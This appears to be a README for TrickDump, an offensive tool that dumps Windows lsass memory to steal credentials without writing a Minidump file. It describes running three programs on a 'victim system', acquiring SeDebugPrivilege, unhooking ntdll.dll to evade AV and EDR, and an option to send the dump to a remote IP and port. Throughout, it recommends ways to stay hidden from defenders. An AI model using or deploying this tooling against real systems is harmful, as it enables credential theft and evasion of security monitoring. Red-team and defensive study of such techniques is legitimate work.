TrickDump

TrickDump dumps the lsass process without creating a Minidump file, generating instead 3 JSON and 1 ZIP file with the memory region dumps. In three steps:

• Lock: Get OS information using RtlGetVersion.

• Shock: Get SeDebugPrivilege privilege with NtOpenProcessToken and NtAdjustPrivilegeToken, open a handle with NtGetNextProcess and NtQueryInformationProcess and then get modules information using NtQueryInformationProcess and NtReadVirtualMemory.

• Barrel: Get SeDebugPrivilege privilege, open a handle and then get information and dump memory regions using NtQueryVirtualMemory and NtReadVirtualMemory.

In the attack system, use the create_dump.py script to generate the Minidump file:

python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE] 

The benefits of this technique are:

• There is never a valid Minidump file in disk, memory or the network traffic.

• There is not a single program or process executing the whole attack but three separate ones, which may raise less flags.

  • If you prefer to run only one program you can use Trick.
  • If you already have information about the OS of the target machine you can skip the first step ("Lock").

• The programs only use NTAPIS (this project is a variant of NativeDump).

• It does not use OpenProcess or NtOpenProcess to get the lsass process handle with the PROCESS_VM_OPERATION and PROCESS_VM_WRITE access rights.

• Each program allows to overwrite the ntdll.dll library ".text" section to bypass API hooking:

  • "disk": Using a DLL already on disk. If a second argument is not used the path is "C:\Windows\System32\ntdll.dll".
  • "knowndlls": Using the KnownDlls folder.
  • "debugproc": Using a process created in debug mode. If a second argument is not used the process is "c:\windows\system32\calc.exe".

It is available in different languages:

• .NET: The main branch
• Python: The python-flavour branch
• Golang: The golang-flavour branch
• C/C++: The c-flavour branch
• BOF files: The bof-flavour branch
• Crystal: The crystal-flavour branch
• Nim: The nim-flavour branch
• Rust: The rust-flavour branch

It will not work if PPL is enabled, the PEB structure is unreadable or the binaries are not compiled as 64-bit. Update: Now it is possible to execute the programs without reading the PEB, check the peb-unreadable branch :)

The technique works fine on the latest versions of Windows and has been tested against common AV and EDR solutions, but stealthiness will depend on the "flavour" you choose: use uncommon languages and customize the binaries for the best results!

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Usage

The programs are executed in the victim system, creating three JSON files (with memory regions information) and one zip file (with each memory region dump).

Lock.exe [disk/knowndlls/debugproc]

Shock.exe [disk/knowndlls/debugproc]

Barrel.exe [disk/knowndlls/debugproc]

You can execute the programs directly without overwriting the ntdll.dll library:

Or use one of the three different overwrite techniques:

Then the Minidump file is generated:

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All in one

If you prefer to execute only one binary, Trick.exe generates a ZIP file containing the 3 JSON files and the ZIP file with the memory regions:

Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]

You can create the ZIP file locally, optionally using a Ntdll overwrite method:

Or send it to a remote port using the second and third parameter as the IP address and the port:

In both cases you get a ZIP file like this, unzip it and create the Minidump file: